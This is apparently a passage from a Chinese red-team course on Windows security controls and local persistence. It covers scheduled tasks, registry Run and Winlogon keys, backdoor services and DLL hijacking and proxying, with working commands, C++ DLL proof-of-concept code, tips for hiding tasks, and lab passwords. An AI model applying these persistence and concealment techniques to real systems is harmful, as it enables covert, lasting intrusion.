CLM，即约束语言模式，实际上属于 AppLocker，只是针对一些脚本语言的。如果 CLM 启用的话，一些脚本语言例如 Powershell 的使用会被限制，只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 .NET框架的调用、执行 C# 代码以及反射。我们可以通过 Powershell 命令 **$ExecutionContext.SessionState.LanguageMode** 来检查语言状态。

```powershell
$ExecutionContext.SessionState.LanguageMode
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bRZ3FjYhr8fvuAde-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bRZ3FjYhr8fvuAde-image.png)

##### **LAPS**

LAPS是微软推出的对主机**本地管理员密码**的管理方案，它可以使得本地管理员的密码随机、不同、且自动轮换。除了使用工具来枚举，文件夹 LAPS 或者文件 **AdmPwd** 的存在可以说明 LAPS 的启用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/cLQe0wuyP9XvBs0d-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/cLQe0wuyP9XvBs0d-image.png)

##### **RunAsPPL**

RunAsPPL 提供了对进程的驱动级保护，即便是 SYSTEM 权限下，也无法获得目标进程的句柄。如果进程 **lsass.exe** 以 PPL 启用的话，默认情况下 mimikatz 无法提取凭证了。对于系统管理员来说，启用PPL可以花费很小的力气就达成不错的凭证防盗效果。我们可以通过 PowerShell 命令 **Get-ItemProperty -Path**  
**HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name "RunAsPPL"** 来查询PPL的启用状态。

```powershell
Get-ItemProperty -Path
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0NrgAXBlI7Nk8AWR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0NrgAXBlI7Nk8AWR-image.png)

# 第5章课后作业

### **练习**

请使用以下凭证访问对应主机，并将这章节所学应用于这些主机

**web01: Passw0rdweb01**

**dev01: Passw0rddev01**

**web02: Passw0rdwev02**

1：查看这些主机的重要文件

2：查看这些主机保存的凭证

3：利用 AlwaysInstallElevated 在 Web02 上提权

4：使用 DLL 劫持的方法实现 UAC 绕过

5：利用内核漏洞实现提权

6：枚举这些主机所采用的安全控制

7：复现 WinPEAS/LinPEAS 所枚举出来的 CVE 漏洞，挑选其中 3 个 (若不足 3 个，则复现 1 或 2 个)进行复现以验证

8：编写一简易的 Linux 信息侦查脚本，包含以下内容：系统版本、可能包含明文密码的文件、ccache文件、Keytab 文件、查看 passwd 等重要文件、查看命令历史、查看网络信息等。

9：编写一简易的 Windows 信息侦查脚本，包含以下内容：系统版本、KB 补丁、可能包含明文密码的文件、SSH密钥、低权限用户可写的路径 (不包括用户目录)、PowerShell 历史、查看网络信息、安全控制措施等。

# 面试专题

# 章节6：本地持久化



# 计划任务

在我们获得初始会话之后，我们需要考虑如何让我们的访问持久化。原因很简单，如果我们是通过利用漏洞进来的，对方可能察觉到痕迹然后修补漏洞，如果是通过泄漏的密码进来的，对方可能修改密码，如果是利用社会工程学进来的， 对方不太可能再次上当。此外，目标企业的安全团队与产品也在监视异常情况。

持久化访问，可以通过多种方式达成，并且只要对操作系统足够熟悉、想象力足够丰富，往往能诞生出非常规的持久化方式。持久化的表现形式可以有本地后门，即可以瞬间实现提权或对特定目标的访问，例如给一个低权限帐号设置高权限的 ACL 。还可以是远程控制的形式，即受害主机会以规律或不规律的间隔向 C2 服务器连接。作为从外部突破的红队操作员以及渗透测试人员角度，我们需要的是后者，即能直接提供 C2 会话。现在，我们来介绍常见的持久化技术之一，计划任务。

计划任务，顾名思义，创建特定任务并且在触发特定条件之后执行。这个条件可以是单纯的时间流逝，可以是用户登录，可以是屏幕被锁定/解锁等等。我们以时间的流逝为例，触发条件为每 1 分钟，任务运行 C:\\Windows\\Tasks\\Beacon.exe。代码为：

```powershell
schtasks /create /sc minute /mo 1 /tn Update /tr "C:\Windows\Tasks\Beacon.exe" /ru SYSTEM
```

**/sc** 与 **/mo** 指定了执行间隔为 1 分钟，Update为计划任务名称，可以创建地看起来合理，我们当然不能用 “Backdoor” 之类的字眼。然后是指定的应用以和参数 (这里没有参数)，以及指定以 **SYSTEM**权限执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/1IsVsCwk1W9RJabh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/1IsVsCwk1W9RJabh-image.png)

(为了避免多重 Beacon，图例用了 calc.exe 代替)

我们可以通过命令行或者计划任务 GUI 查看

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/5uxPXqTXw6DNQOy9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/5uxPXqTXw6DNQOy9-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/gkwiRSaqBL5D87xu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/gkwiRSaqBL5D87xu-image.png)

同样的，我们也可以通过 **SharPersist** ([https://github.com/mandiant/SharPersist](https://github.com/mandiant/SharPersist) ) 工具来达成目的：

```
SharPersist.exe -t schtask -c "C:\Windows\Tasks\Beacon.exe" -n "Update" -m add -o hourly
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/uAFh6jrGuWlaNqnl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/uAFh6jrGuWlaNqnl-image.png)

**-t** 参数为持久化技术，这里我们选择的是计划任务，当然 SharPersist 还支持其他技术，我们后面会说。其他参数大家都能看出来是什么作用。

但需要注意的是，默认情况下，计划任务持久化不够隐蔽，很容易被发现，并且这也是一个被聚焦在聚光灯下的方法。我们可以通过访问注册表 **HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\** 并且删除后门计划任务的SD值，来隐藏计划任务。这样的话通过命令就无法找到了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/9uYUFJecX8Mdnmkd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/9uYUFJecX8Mdnmkd-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/E4tycimSErwlzsbN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/E4tycimSErwlzsbN-image.png)

# 启动与登陆触发

我们还可以通过登陆操作来触发特定任务。与登陆相关的实现方式有数种，但实现效果是相似的。

#### **Startup 文件夹**

每个用户都拥有一个文件夹 **C:\\Users\\\[用户名\]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup** 。如果我们在其中放置一个可执行文件，当前用户会在登陆的时候触发载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/J7gTtFW2U2FpxjB0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/J7gTtFW2U2FpxjB0-image.png)

如果我们是想让所有用户都执行该载荷，那么我们可以放在 **C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp** 文件夹下

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/rDwdRWVQ32BrMjUt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/rDwdRWVQ32BrMjUt-image.png)

我们还可以通过SharPersist工具实现：**SharPersist.exe -t startupfolder -c "C:\\Windows\\System32\\calc.exe" -f "StartUp" -m add**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/XYNmJsVgEdKIGwJB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/XYNmJsVgEdKIGwJB-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/BU5XPJE4q7ll3fIT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/BU5XPJE4q7ll3fIT-image.png)

SharPersist 在该目录下生成了一个快捷方式，指定了要执行的程序以及参数。

#### **Run与RunOnce**

我们还可以通过修改注册表Run与RunOnce实现。

注册表位置：

```powershell
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bMBhx5XoIeTVhXoI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bMBhx5XoIeTVhXoI-image.png)

我们也可以通过SharPersist工具来实现，命令为 **SharPersist.exe -t reg -c "C:\\Windows\\Tasks\\Beacon.exe" -a "/q /n" -k "hkcurun" -v "Microsoft Services" -m add**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CcHfHLr8CrOZ0iUI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CcHfHLr8CrOZ0iUI-image.png)

#### **Logon Helper**

之前的章节提到，我们可能在注册表的 **Winlogon** (**HKCU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon**) 区域提取到明文帐号密码，但实际上我们也可以用来实现持久化。我们注意到，一些条目指向可执行文件，例如 **Userinit**。

```powershell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
```

我们直接替换的话，可能影响原本功能，因此我们**额外**添加要运行的程序及参数。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/OzhgBhvTfEyY32uR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/OzhgBhvTfEyY32uR-image.png)

# 服务

考虑到很多服务也是开机启动的，因此服务也可以用来实现持久化。我们可以通过 SharPersist 工具的命令来实现

```
SharPersist -t service -c "C:\Windows\Tasks\Beacon.exe"  -n "Update Services" -m add 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/R6PoCmcCHsDyU7Wr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/R6PoCmcCHsDyU7Wr-image.png)

我们也可以手动创建后门服务。

```powershell
sc.exe create Service2 binPath= "C:\Windows\System32\calc.exe" start=auto

sc.exe start Service2
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/jcZjqV1UWIiXygVB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/jcZjqV1UWIiXygVB-image.png)

我们可以直接将 **binPath** 指向我们想要的可执行文件，例如 exe 载荷。但是需要注意的是，服务所用的 exe 可执行文件与一般的可执行文件有所不同，如果我们直接指向一般可执行文件，例如 exe 版的 CS 或 Metasploit 载荷，我们会遇到 **The service did not respond to the start or control request in a timely fashion** 报错，或者程序会在运行后很快退出。作为一个 workaround，我们可以使用具有**进程注入**功能的 Shellcode 加载器，即在程序退出之前迁移到其他进程中实现持久化。我们也可以直接生成服务二进制文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/N3N1SCnzXMweum04-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/N3N1SCnzXMweum04-image.png)

# DLL 劫持与代理

当一个程序启动时，诸多 DLL 文件被加载到改程序的进程内存空间中，Windows 按照特定顺序查看系统文件夹来搜索进程所需的 DLL。 DLL 劫持可以实现持久化，如果我们想方设法让一个自启动的程序载入了我们的恶意 DLL 文件。考虑到应用越多，DLL 劫持的机会越大，因此该章节建议学员在常用主机/VM 上操作。

### **DLL 劫持**

我们举个例子，程序 GameCenter.exe 是自启动的，并且在启动时载入数个 DLL 文件，其中没有明确某个 DLL 的绝对位置。因此 DLL 文件被按照一定的搜索顺序，例如先从文件夹 A 中查看是否包含 **d3d12.dll**，如果没找到则从 B 中寻找，以此类推，最终在文件夹 D 中找到并载入。如果我们在文件夹 A 中存放 **d3d12.dll**，因为 A 文件夹优先被搜索，所以直接载入在 A 文件夹中的恶意 DLL 文件，D 文件夹中的则被忽略。而 A 文件夹通常是程序的当前工作目录。实际的顺序的话，是这样的：

```
加载应用程序的目录，例如 C:\Program Files\Game Center\
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录
系统 PATH 环境变量中的目录
用户 PATH 环境变量中的目录
```

也存在更简单的情况，程序所要加载的 **DLL** 并不存在。如图所示，我们可以看到 Discord 就广泛存在这个问题。因此我们只要在上述目录中写入一个同名的恶意 DLL 即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/4nnxpPiGMmBj7NzC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/4nnxpPiGMmBj7NzC-image.png)

我们可以通过使用 **process monitor** ([https://docs.microsoft.com/en-us/sysinternals/downloads/procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)) 来过滤得到缺失的DLL：

```
Path ends with dll

Result is NAME NOT FOUND
```

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/45wJZ0dslcZVVZbr-Cgoimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/45wJZ0dslcZVVZbr-Cgoimage.png)

用 **Visual Studio** 新建一个 **C++** 的 **DLL** 项目，一份概念验证性代码如下：

```c++
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "windows.h"
#include "stdlib.h"

/*
extern "C" __declspec(dllexport) void run()
{
    MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}*/

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd /c ping.exe 192.168.0.44");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

```

最终，我们选择 **d3d12.dll**。在编译 DLL 的时候，请注意如果原 DLL 是 x86的，那么我们则使用 x86 版本的 DLL，反之则是 x64 版本的 DLL。这里的话，d3d12.dll 是 x86 的。

在 **Discord 目录**下植入 **d3d12.dll**，重启 Discord，大概等 2 分钟，载荷触发了。

因为是在本地进行复现，因此我们打开 **tcpdump** 记录 **ICMP** 请求，如果 DLL 被成功载入了，那么我们可以看到 ICMP 的记录。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/1cUB7YpAYiOHZb9V-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/1cUB7YpAYiOHZb9V-image.png)

exploit-db 以及 CVE 库中也有包含 DLL 劫持的漏洞，例如 [https://www.exploit-db.com/exploits/44066 ](https://www.exploit-db.com/exploits/44066)

### **DLL 代理**

除了 DLL 劫持 (侧加载) 外，还有 DLL 代理。如果我们贸然用自己的恶意 DLL 替换掉程序原本要载入的 DLL ，可能会影响其功能。而 DLL 代理技术可以在不影响程序原有功能的情况下依旧执行我们的恶意载荷。

以 Discord.exe 加载的 **dbghelp.dll** 为例，Discord并未在文件夹目录中找到该 DLL，但最终在 **C:\\Windows\\SysWOW64** 中找到了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/UKEIN3bTVMsn2kXX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/UKEIN3bTVMsn2kXX-image.png)

首先，既然在 **SysWOW64** 文件夹中，说明这是一个 **x86** 的 DLL。其次，如果我们贸然在文件夹目录中丢入一个恶意 DLL 载荷，可能会影响 Discord 的使用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Zzg7zTLwt9bsOvKq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Zzg7zTLwt9bsOvKq-image.png)

那么我们要做的就是让我们植入的恶意 DLL 载荷不仅能触发任意命令执行，而且能把 SysWOW64 中 dbghelp.dll 原有的功能导入到我们的恶意 DLL 载荷中。

要使用 DLL 代理技术生成一个恶意载荷，有多个步骤，我们一步步来看。

1：下载 **DLL Export View** 工具 ([http://www.nirsoft.net/utils/dll\_export\_viewer.html](http://www.nirsoft.net/utils/dll_export_viewer.html))

2：选择“合法”的 DLL，这里是 **SysWOW6**4 下的 **dbghelp.dll**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kgbcrbJclpr9nJm8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kgbcrbJclpr9nJm8-image.png)

3：导出所有函数，并把 HTML 报告本地保存

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/wfRtOzdnLpz7NMFA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/wfRtOzdnLpz7NMFA-image.png)

4：使用如下 Python 脚本将导出函数信息格式化输出：

```python
import sys

print("Usage: python3 dllproxying.py <HTML Report Generated by DLL Export Viewer> <Original DLL Location>")
print("Usage: python3 dllproxying.py dbghelp.html C:\\\\Windows\\\\SysWOW64\\\\\dbghelp.dll")
report=sys.argv[1]
legit=sys.argv[2]
try:
	f = open(report)
	page = f.readlines()
	f.close()
except:
	print("Cannot open the report file!")

print("\nFunction list:\n")
for line in page:
	if line.startswith("</td></tr><tr><td bgcolor=\"#FFFFFF\" nowrap=\"\">"):           
		cols = line.replace("</td></tr><tr><td bgcolor=\"#FFFFFF\" nowrap=\"\">", "").split("</td><td bgcolor=\"#FFFFFF\" nowrap=\"\">")
		functionname = cols[0]
		num = cols[3].split(' ')[0]
		dll= legit[0:len(legit)-4]
        dll=dll.replace("\\","\\\\")
		print("#pragma comment(linker,\"/export:"+functionname+"="+dll+"."+functionname+",@"+str(num)+"\")")
```

运行脚本：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/mx8OotbTPZIpOTgh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/mx8OotbTPZIpOTgh-image.png)

5：将输出添加到 DLL 项目中，最终代码如下：

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"
#pragma comment(linker,"/export:block=C:\\Windows\\SysWOW64\\dbghelp.block,@1341")
#pragma comment(linker,"/export:chksym=C:\\Windows\\SysWOW64\\dbghelp.chksym,@1342")
#pragma comment(linker,"/export:dbghelp=C:\\Windows\\SysWOW64\\dbghelp.dbghelp,@1343")
#pragma comment(linker,"/export:DbgHelpCreateUserDump=C:\\Windows\\SysWOW64\\dbghelp.DbgHelpCreateUserDump,@1126")
#pragma comment(linker,"/export:DbgHelpCreateUserDumpW=C:\\Windows\\SysWOW64\\dbghelp.DbgHelpCreateUserDumpW,@1127")
#pragma comment(linker,"/export:dh=C:\\Windows\\SysWOW64\\dbghelp.dh,@1344")
#pragma comment(linker,"/export:EnumDirTree=C:\\Windows\\SysWOW64\\dbghelp.EnumDirTree,@1128")
#pragma comment(linker,"/export:EnumDirTreeW=C:\\Windows\\SysWOW64\\dbghelp.EnumDirTreeW,@1129")
#pragma comment(linker,"/export:EnumerateLoadedModules=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModules,@1131")
#pragma comment(linker,"/export:EnumerateLoadedModules64=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModules64,@1130")
#pragma comment(linker,"/export:EnumerateLoadedModulesEx=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesEx,@1132")
#pragma comment(linker,"/export:EnumerateLoadedModulesExW=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesExW,@1133")
#pragma comment(linker,"/export:EnumerateLoadedModulesW64=C:\\Windows\\SysWOW64\\dbghelp.EnumerateLoadedModulesW64,@1134")
#pragma comment(linker,"/export:ExtensionApiVersion=C:\\Windows\\SysWOW64\\dbghelp.ExtensionApiVersion,@1135")
#pragma comment(linker,"/export:FindDebugInfoFile=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFile,@1136")
#pragma comment(linker,"/export:FindDebugInfoFileEx=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFileEx,@1137")
#pragma comment(linker,"/export:FindDebugInfoFileExW=C:\\Windows\\SysWOW64\\dbghelp.FindDebugInfoFileExW,@1138")
#pragma comment(linker,"/export:FindExecutableImage=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImage,@1139")
#pragma comment(linker,"/export:FindExecutableImageEx=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImageEx,@1140")
#pragma comment(linker,"/export:FindExecutableImageExW=C:\\Windows\\SysWOW64\\dbghelp.FindExecutableImageExW,@1141")
#pragma comment(linker,"/export:FindFileInPath=C:\\Windows\\SysWOW64\\dbghelp.FindFileInPath,@1142")
#pragma comment(linker,"/export:FindFileInSearchPath=C:\\Windows\\SysWOW64\\dbghelp.FindFileInSearchPath,@1143")
#pragma comment(linker,"/export:fptr=C:\\Windows\\SysWOW64\\dbghelp.fptr,@1345")
#pragma comment(linker,"/export:GetSymLoadError=C:\\Windows\\SysWOW64\\dbghelp.GetSymLoadError,@1144")
#pragma comment(linker,"/export:GetTimestampForLoadedLibrary=C:\\Windows\\SysWOW64\\dbghelp.GetTimestampForLoadedLibrary,@1145")
#pragma comment(linker,"/export:homedir=C:\\Windows\\SysWOW64\\dbghelp.homedir,@1346")
#pragma comment(linker,"/export:ImageDirectoryEntryToData=C:\\Windows\\SysWOW64\\dbghelp.ImageDirectoryEntryToData,@1146")
#pragma comment(linker,"/export:ImageDirectoryEntryToDataEx=C:\\Windows\\SysWOW64\\dbghelp.ImageDirectoryEntryToDataEx,@1147")
#pragma comment(linker,"/export:ImagehlpApiVersion=C:\\Windows\\SysWOW64\\dbghelp.ImagehlpApiVersion,@1151")
#pragma comment(linker,"/export:ImagehlpApiVersionEx=C:\\Windows\\SysWOW64\\dbghelp.ImagehlpApiVersionEx,@1152")
#pragma comment(linker,"/export:ImageNtHeader=C:\\Windows\\SysWOW64\\dbghelp.ImageNtHeader,@1148")
#pragma comment(linker,"/export:ImageRvaToSection=C:\\Windows\\SysWOW64\\dbghelp.ImageRvaToSection,@1149")
#pragma comment(linker,"/export:ImageRvaToVa=C:\\Windows\\SysWOW64\\dbghelp.ImageRvaToVa,@1150")
#pragma comment(linker,"/export:inlinedbg=C:\\Windows\\SysWOW64\\dbghelp.inlinedbg,@1347")
#pragma comment(linker,"/export:itoldyouso=C:\\Windows\\SysWOW64\\dbghelp.itoldyouso,@1348")
#pragma comment(linker,"/export:lmi=C:\\Windows\\SysWOW64\\dbghelp.lmi,@1349")
#pragma comment(linker,"/export:lminfo=C:\\Windows\\SysWOW64\\dbghelp.lminfo,@1350")
#pragma comment(linker,"/export:MakeSureDirectoryPathExists=C:\\Windows\\SysWOW64\\dbghelp.MakeSureDirectoryPathExists,@1153")
#pragma comment(linker,"/export:MapDebugInformation=C:\\Windows\\SysWOW64\\dbghelp.MapDebugInformation,@1154")
#pragma comment(linker,"/export:MiniDumpReadDumpStream=C:\\Windows\\SysWOW64\\dbghelp.MiniDumpReadDumpStream,@1155")
#pragma comment(linker,"/export:MiniDumpWriteDump=C:\\Windows\\SysWOW64\\dbghelp.MiniDumpWriteDump,@1156")
#pragma comment(linker,"/export:omap=C:\\Windows\\SysWOW64\\dbghelp.omap,@1351")
#pragma comment(linker,"/export:optdbgdump=C:\\Windows\\SysWOW64\\dbghelp.optdbgdump,@1352")
#pragma comment(linker,"/export:optdbgdumpaddr=C:\\Windows\\SysWOW64\\dbghelp.optdbgdumpaddr,@1353")
#pragma comment(linker,"/export:RangeMapAddPeImageSections=C:\\Windows\\SysWOW64\\dbghelp.RangeMapAddPeImageSections,@1157")
#pragma comment(linker,"/export:RangeMapCreate=C:\\Windows\\SysWOW64\\dbghelp.RangeMapCreate,@1158")
#pragma comment(linker,"/export:RangeMapFree=C:\\Windows\\SysWOW64\\dbghelp.RangeMapFree,@1159")
#pragma comment(linker,"/export:RangeMapRead=C:\\Windows\\SysWOW64\\dbghelp.RangeMapRead,@1160")
#pragma comment(linker,"/export:RangeMapRemove=C:\\Windows\\SysWOW64\\dbghelp.RangeMapRemove,@1161")
#pragma comment(linker,"/export:RangeMapWrite=C:\\Windows\\SysWOW64\\dbghelp.RangeMapWrite,@1162")
#pragma comment(linker,"/export:RemoveInvalidModuleList=C:\\Windows\\SysWOW64\\dbghelp.RemoveInvalidModuleList,@1163")
#pragma comment(linker,"/export:ReportSymbolLoadSummary=C:\\Windows\\SysWOW64\\dbghelp.ReportSymbolLoadSummary,@1164")
#pragma comment(linker,"/export:SearchTreeForFile=C:\\Windows\\SysWOW64\\dbghelp.SearchTreeForFile,@1165")
#pragma comment(linker,"/export:SearchTreeForFileW=C:\\Windows\\SysWOW64\\dbghelp.SearchTreeForFileW,@1166")
#pragma comment(linker,"/export:SetCheckUserInterruptShared=C:\\Windows\\SysWOW64\\dbghelp.SetCheckUserInterruptShared,@1167")
#pragma comment(linker,"/export:SetSymLoadError=C:\\Windows\\SysWOW64\\dbghelp.SetSymLoadError,@1168")
#pragma comment(linker,"/export:srcfiles=C:\\Windows\\SysWOW64\\dbghelp.srcfiles,@1354")
#pragma comment(linker,"/export:stack_force_ebp=C:\\Windows\\SysWOW64\\dbghelp.stack_force_ebp,@1355")
#pragma comment(linker,"/export:stackdbg=C:\\Windows\\SysWOW64\\dbghelp.stackdbg,@1356")
#pragma comment(linker,"/export:StackWalk=C:\\Windows\\SysWOW64\\dbghelp.StackWalk,@1170")
#pragma comment(linker,"/export:StackWalk64=C:\\Windows\\SysWOW64\\dbghelp.StackWalk64,@1169")
#pragma comment(linker,"/export:StackWalkEx=C:\\Windows\\SysWOW64\\dbghelp.StackWalkEx,@1171")
#pragma comment(linker,"/export:sym=C:\\Windows\\SysWOW64\\dbghelp.sym,@1357")
#pragma comment(linker,"/export:SymAddrIncludeInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymAddrIncludeInlineTrace,@1177")
#pragma comment(linker,"/export:SymAddSourceStream=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStream,@1172")
#pragma comment(linker,"/export:SymAddSourceStreamA=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStreamA,@1173")
#pragma comment(linker,"/export:SymAddSourceStreamW=C:\\Windows\\SysWOW64\\dbghelp.SymAddSourceStreamW,@1174")
#pragma comment(linker,"/export:SymAddSymbol=C:\\Windows\\SysWOW64\\dbghelp.SymAddSymbol,@1175")
#pragma comment(linker,"/export:SymAddSymbolW=C:\\Windows\\SysWOW64\\dbghelp.SymAddSymbolW,@1176")
#pragma comment(linker,"/export:SymAllocDiaString=C:\\Windows\\SysWOW64\\dbghelp.SymAllocDiaString,@1120")
#pragma comment(linker,"/export:SymCleanup=C:\\Windows\\SysWOW64\\dbghelp.SymCleanup,@1178")
#pragma comment(linker,"/export:SymCompareInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymCompareInlineTrace,@1179")
#pragma comment(linker,"/export:SymDeleteSymbol=C:\\Windows\\SysWOW64\\dbghelp.SymDeleteSymbol,@1180")
#pragma comment(linker,"/export:SymDeleteSymbolW=C:\\Windows\\SysWOW64\\dbghelp.SymDeleteSymbolW,@1181")
#pragma comment(linker,"/export:SymEnumerateModules=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModules,@1202")
#pragma comment(linker,"/export:SymEnumerateModules64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModules64,@1201")
#pragma comment(linker,"/export:SymEnumerateModulesW64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateModulesW64,@1203")
#pragma comment(linker,"/export:SymEnumerateSymbols=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbols,@1205")
#pragma comment(linker,"/export:SymEnumerateSymbols64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbols64,@1204")
#pragma comment(linker,"/export:SymEnumerateSymbolsW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbolsW,@1207")
#pragma comment(linker,"/export:SymEnumerateSymbolsW64=C:\\Windows\\SysWOW64\\dbghelp.SymEnumerateSymbolsW64,@1206")
#pragma comment(linker,"/export:SymEnumLines=C:\\Windows\\SysWOW64\\dbghelp.SymEnumLines,@1182")
#pragma comment(linker,"/export:SymEnumLinesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumLinesW,@1183")
#pragma comment(linker,"/export:SymEnumProcesses=C:\\Windows\\SysWOW64\\dbghelp.SymEnumProcesses,@1184")
#pragma comment(linker,"/export:SymEnumSourceFiles=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFiles,@1186")
#pragma comment(linker,"/export:SymEnumSourceFilesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFilesW,@1187")
#pragma comment(linker,"/export:SymEnumSourceFileTokens=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceFileTokens,@1185")
#pragma comment(linker,"/export:SymEnumSourceLines=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceLines,@1188")
#pragma comment(linker,"/export:SymEnumSourceLinesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSourceLinesW,@1189")
#pragma comment(linker,"/export:SymEnumSym=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSym,@1190")
#pragma comment(linker,"/export:SymEnumSymbols=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbols,@1191")
#pragma comment(linker,"/export:SymEnumSymbolsEx=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsEx,@1192")
#pragma comment(linker,"/export:SymEnumSymbolsExW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsExW,@1193")
#pragma comment(linker,"/export:SymEnumSymbolsForAddr=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsForAddr,@1194")
